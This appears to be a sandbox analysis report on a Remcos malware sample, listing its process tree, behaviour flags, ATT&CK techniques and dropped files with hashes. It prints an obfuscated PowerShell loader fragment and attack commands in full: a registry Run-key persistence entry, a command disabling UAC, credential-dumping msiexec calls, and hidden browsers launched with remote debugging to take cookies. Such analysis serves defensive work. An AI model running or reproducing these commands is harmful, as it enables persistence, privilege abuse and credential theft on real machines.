;Sammenkogs (Erosely ' Ol $ forgGan l hoOO.igB beaAantiLMapp:PullFmidteTyenM ankt spaE Stan ilrApunnaVaerR ieps Camf larDSineshearePretlskilsExpadArk.aKattgAd mEEry.NMark5 Par1Gill=L nd$GuarG Fral.fseOin fbScraaO,deLResi: HenFAgatESmutiOestN jlesConcC.iochStttMun oEHolac.nthkZedsE MauRSlibE rosPara+Fugl+Budd% P a$Con pTrafL upeE unTWitchPolyoBindRMercO FaluSmukS Cau.Sa tc ,tooDispUS idnPibet') ;$Viderebringelse=$Plethorous[$Femtenaarsfdselsdagen51]}$Sabbatic=334089;$Afkog=31095;Sammenkogs (Erosely 'K.es$ IrrgIn oL BesOHe,tBKomoaAfmrLBorg:un rgHjemHFemua K orkr,trVindI SpaeG aiS.osy Ov.r=Soci SupgUnivEB batKvad-F dsC Rito fl NHe nTMiljE QuaNAdreT Byl Disc$BiosF eadLSnotaIn uS VerkL veESchoR .oleoverNKeyssrecieC.llR');Sammenkogs (Erosely 'Se.r$Inddg Klel Denocubeb Reda,yvulBegr:OccuSTyk.tPrisuSkuld.inosec imBl nu KersTa,reGrapnGas. Vri =Woad Qui[Dev SRetry olss Au tPuriecoapm M a.SiksCTo.doPickn .ulvCalleSy drforvtHalo]Tote: Det:m scFLa cr kedoFilam FjoB ifaHattsposeePin,6 De,4DykkS ductLi,erTek iSpinn bongLano( Man$DunaG T ghDiviaD lfrImp,rkendiStene W,esStag)');Sammenkogs (Erosely 'Sapr$ HaeGVi elUn xO addbE kyAUn.iLtvan:EurotBoraOUnmecPatro Cykl Ha.oNonsG Fi IBereeFedtS End brud=Stra Gar [ artSUnply edeSFlotTV,ndEGradMBolu. VipTPi eEStrmXPerstSlag.M tee tdn izzcc,ttOMultDArc i U enCadugArbu]Areo:Daga:chitaH,nsSHypoc RosIUnv iGrn..Kan Gsa oE NikTSid sAccot OfrRenliiDi knDivig Fej(I.gt$Brofsra,gTRetru ,uqDOccuSBredm,geluRdehsTegle ogenAfre)');Sammenkogs (Erosely 'Hunh$Laesg cenlFa eoTargBDemeAForslLati: Gi R SkieLat,PEvo,ULandr.fteiGeniF Rk IAtomc Ho,adansTPropiSpiooFjo NMism7Ti e9 Gal=Ager$AangtKlumOS mmCTo uO ,eiLLahlodiskGEx.uI Gr e RevS eb.T.nds HoruW,reBVectSSemiT GuirRescI ChanMetagHe n( Eks$ StrsPly a FrabTrolBDuppaDucstHj oi,omecGuld,Idol$ PelaTragFBr.dKOveroUntrG dep)');Sammenkogs $Repurification79;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:540
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Aabeskyttelseslinien% -windowstyle 1 $Banegaardenes=(gp -Path 'HKCU:\Software\Crinums\').Checkkontoens;%Aabeskyttelseslinien% ($Banegaardenes)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3936
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Aabeskyttelseslinien% -windowstyle 1 $Banegaardenes=(gp -Path 'HKCU:\Software\Crinums\').Checkkontoens;%Aabeskyttelseslinien% ($Banegaardenes)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2268
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4872
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\djtrxclosvpqgnskmmxqryknicyxxsivw"
    3⤵
    PID:4108
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3420
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa0e0fcc40,0x7ffa0e0fcc4c,0x7ffa0e0fcc58
      4⤵
      PID:1772
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1876,i,7682374224404892926,12419492319752350425,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1616 /prefetch:2
      4⤵
      PID:3928
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2084,i,7682374224404892926,12419492319752350425,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2108 /prefetch:3
      4⤵
      PID:396
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2224,i,7682374224404892926,12419492319752350425,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2240 /prefetch:8
      4⤵
      PID:5008
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3140,i,7682374224404892926,12419492319752350425,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3192 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3144
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3160,i,7682374224404892926,12419492319752350425,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3328 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:676
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4048,i,7682374224404892926,12419492319752350425,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4516 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4048
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\djtrxclosvpqgnskmmxqryknicyxxsivw"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4468
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ndyjq"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:4200
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\yfeuqngju"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:3952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff9ffa646f8,0x7ff9ffa64708,0x7ff9ffa64718
      4⤵
      PID:3920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,9783657259289622124,2833451756904900013,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2
      4⤵
      PID:4500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,9783657259289622124,2833451756904900013,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
      4⤵
      PID:3504
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,9783657259289622124,2833451756904900013,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2196 /prefetch:8
      4⤵
      PID:4120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2120,9783657259289622124,2833451756904900013,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2120,9783657259289622124,2833451756904900013,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2120,9783657259289622124,2833451756904900013,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2320
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2120,9783657259289622124,2833451756904900013,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3124

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4316

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:988

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
21d149fa30cf394ed02c4c519eb0c3a1

SHA1
cc173199ec6f50549663b4ca9e1bc1599598c1e3

SHA256
90ae1f026df560d7cad94809f23c8b3f44c5e9344305cc6c424ed351bbba6c6a

SHA512
9825a11cd425a6219815b8f888c356c1f91c0b3a8e11b6f84214f4d68d803bd79a7d13dd95fe1cd67b88d38006a8f88dffd01d8e5397e1b44bfeecc8b05bcd1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
40B

MD5
be2347c678763d76948b14aee0d54ba7

SHA1
62c8ed832f0c1fd0b8fcab2fdd367abee21d166b

SHA256
dfddd7038b687cce1b416d15153625a8d957ce9d7224b77f1cb4cb05bcd8ef05

SHA512
78fe0f6ba22f1565dfaa563c8f1befbdcaac7c0e05eef73ae396c87404191ae7a1ea9c6469a5a9cd788b31470ed4f8a279b80f00c272d908351e4ca7b635a0b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
5f7a0947d438d3c06c5266b9372aaea9

SHA1
0d0c14ac39271311c1a7e9a11580ea3da6cabdf5

SHA256
9ad2350d76977874d9c7c6d8e40d44440c86d66a19beb400c0f593ac13dd85fd

SHA512
0d3c305925c6b94560b30f2dc23fda092e6a50b206b1e3dbcb916229d59574f758148cbf9174c0b113d313411cfa8ab69903116944c0034a7b40a9239a65710f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
9aa69f1741690d8e8fff8d64a57b969f

SHA1
c3ce5bb23410ea52a2a16a828b808f95663fd376

SHA256
3934a46f33e67f72cdf2d76f06eebf2fde64d0b2a429d7a66296e6ccb415f0ad

SHA512
5f97cd490946175cb6a96a9adbeddd1424a29c8f5d968fb7b6edb7b2dbe7e8999e18781ac108f15dc07329b960eef6f99494e07c2e8693d64c5e15f033c40131

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat

Filesize
20B

MD5
9e4e94633b73f4a7680240a0ffd6cd2c

SHA1
e68e02453ce22736169a56fdb59043d33668368f

SHA256
41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304

SHA512
193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index-dir\the-real-index

Filesize
48B

MD5
1dc5872b4c9ef5aa10adbb3fce9e0a7b

SHA1
c640ac182dc697af48c896f4c5d5ad4c3651b8f9

SHA256
1d3c899d96560c43f68128e7c1e734bdb5c8958afab5aa942aa2d128e710595e

SHA512
c60a7eba3956d9795d0380e8b9b5afaa693f27a08954842721cf9536601a12f3cb458bf06112602bb0745d4ede86da584256b52b56ba94d3d31ddd17e669ca5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Extension State\LOG

Filesize
263B

MD5
4b752758bcee7fcf7e2cd5f597ab1d3e

SHA1
f9a9b5f0d22e9db88ed74f35f49c86b5ef6d825c

SHA256
9bafdfa7439f9e853b347775d3096d0a7fa9d0c633ceaf782c8a3d6a30eee2e1

SHA512
42776b4e25abb867574b206066272c76f551da49dfcecbd97a9a9ca90f3263033d320bb8a5e90c9b24f1e301c89ad401c07adc343dc4cf3b3a81b8e333386d49

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons

Filesize
20KB

MD5
b40e1be3d7543b6678720c3aeaf3dec3

SHA1
7758593d371b07423ba7cb84f99ebe3416624f56

SHA256
2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

SHA512
fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index

Filesize
256KB

MD5
d7ed11b336f985dd973f7296dcabdda4

SHA1
a9b934da176945f89c8f0e07e5ac7a78f03e1ddb

SHA256
09655f2510d0351461295d16b1248a20b2df3f94bcd2df715180e62de011484d

SHA512
d5eff1cbb7079349647293d3653eaa94fc14813cb2111819c5ab0734dbbc5b6ec939c4fba0bf2c45f4070c849ea1c03a0a02d5a3a03f905e1eabc0cd3c46d38e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History

Filesize
192KB

MD5
d30bfa66491904286f1907f46212dd72

SHA1
9f56e96a6da2294512897ea2ea76953a70012564

SHA256
25bee9c6613b6a2190272775a33471a3280bd9246c386b72d872dc6d6dd90907

SHA512
44115f5aaf16bd3c8767bfb5610eba1986369f2e91d887d20a9631807c58843434519a12c9fd23af38c6adfed4dbf8122258279109968b37174a001320839237

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History-journal

Filesize
8KB

MD5
87e714a962b9ea9c5d9c008e6e1032bc

SHA1
a4303b943986985c0a541e93088db1c84d77739c

SHA256
2bbffd9ec78d297ef5c17ef17c6b83ff3a6fe6de6ad300b4228733e307e61dfb

SHA512
788ae3b7ee8dee3c037eaaa9f087ec3d9a2285d0db67c747db1a5d4abe5f266de04acc8bf17b1d28035118d0e83189192bb21160acbd070520a020f11dafba0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG

Filesize
275B

MD5
41b1b888869d9fb997f6cbbd71bbeb75

SHA1
260334f3810758958b542297c10912e9b1482393

SHA256
421115ac45b700ca402adaeb900e7a862385c807e5d2f9586eac517b7bd3526c

SHA512
d1f63ece59f5bb5e6da8992c595dcbad3dbfdd73518b5ddd287b7c5d4a174120081327a9c31e4a6ae0c7a345a7bcf1a389ba4fcf6ef7d6337aa55cc0c0b3ed9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk

Filesize
1KB

MD5
743f801de2b51fb1dbf62446b79b0509

SHA1
35426482bcd83d3c32ea5e92e22c6866ad7f2a97

SHA256
a66a32be77c8288b828fac6cd96684f7cc24d4dbcf1ea1b397c95db5fc05ff81

SHA512
f6b5d4f2a8ddd5fbecde46fa3e6aedf928f06d88683b0a3a53a3d7301c0b0016b741d820207d30d76165a1e687948df1878051d37e7ea44fd94a4ef98a7b11ab

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies

Filesize
20KB

MD5
c01caf42ee62a3e1bc9f78ceb70407d2

SHA1
3e6a7eb62ed4266b266565410428c9742bfb5f5c

SHA256
55d08d789aea4450dcbd8328c7f3b11e53cb1a9ab940df49b61fad20757f8e5f

SHA512
bc29ece4c9fcd6b1b26bd8498ebad27291f6296a9289e54e022e7246a53e69e5ee560b20036bf3ef2bb4d315dac03c1e39a25ebe1de0ebd8ebe7937e02800c15

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
90271216515c0c62fb616fa0a2c338b7

SHA1
2ae752f1faa5dc8a402668390f58965d27d153c3

SHA256
a770c737cda049848c313366735e3dd8c66e629bf79a1510e51d676c33aac36f

SHA512
2ea33ed05e89d2027367ef1d073fc6e1441749e006797b1320914e518a08ec11623f0be881e62883de0240c92addb64a92574eecc4df096e7da3c63e26037b04

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
1KB

MD5
537a9e53b104bce731a71088b038c187

SHA1
3ee635e8355696f136c1aa7aa358b5a43c977dfa

SHA256
fac02b374327f114e2e82b642acfbc31f7814c6a3245275658dc73d9cf1883eb

SHA512
28c7c0b9863552ab3f24fe4137270951c737fa9802d0ea39d99cac241b4449e0fbdf4da52ee37db36c0175b81cad2bbe22a42b57bc2d743be3e87bbf265e36a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
15KB

MD5
201fa205707c48fcee92326e5894e567

SHA1
ada346a5ef114e5a831563ace50c6650667b23f7

SHA256
f122d839832c9b9f4feed61b2f5d5f1165d8f29a5563580fe6af3550113aa959

SHA512
48701c66064274e0d0e62c190fb12fce104ddb795006662318c6560a956d7444ec3c81e6149a04c48ae7007cea6458d7da1fd6ab37130c2763fd88210f957242

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
24KB

MD5
9da700b1b16d296afca78d43dc061268

SHA1
d4b5d202b4525e85295232e1d301bd422c02350c

SHA256
78cfd9cd2d766b888ccc68374b41e0d407b9db2eea378598b05a70dfe1e10784

SHA512
13612c5be4c4594548cf3e3d1953a8ea54f4a47c44711ed471426e14c7c96503427cc4c433a0169641d54bcf70f8b5fb4ccf1a9cdf2b492619808ffbbd8c3831

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log

Filesize
241B

MD5
9082ba76dad3cf4f527b8bb631ef4bb2

SHA1
4ab9c4a48c186b029d5f8ad4c3f53985499c21b0

SHA256
bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd

SHA512
621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG

Filesize
279B

MD5
69aa2516a1a0d9d3e6743ad5c4fd46a1

SHA1
ac3395cc6af144ff4c25642df5ccae6a6d969a77

SHA256
67f390e353fcfdfcdc368e525846116cb060b12d6af56f4e030211d7aba6f98e

SHA512
f412e0b2e9590cbc563dea5190e5a359987a56e371f46053e522c79db7ca850ea17b812d1116c36f2ff036b265fc32b1184c54a6a5289e24ff83b94ec897e6d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\000003.log

Filesize
80B

MD5
69449520fd9c139c534e2970342c6bd8

SHA1
230fe369a09def748f8cc23ad70fd19ed8d1b885

SHA256
3f2e9648dfdb2ddb8e9d607e8802fef05afa447e17733dd3fd6d933e7ca49277

SHA512
ea34c39aea13b281a6067de20ad0cda84135e70c97db3cdd59e25e6536b19f7781e5fc0ca4a11c3618d43fc3bd3fbc120dd5c1c47821a248b8ad351f9f4e6367

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\LOG

Filesize
263B

MD5
1a9272616fe552f851afe1adb0ede3b5

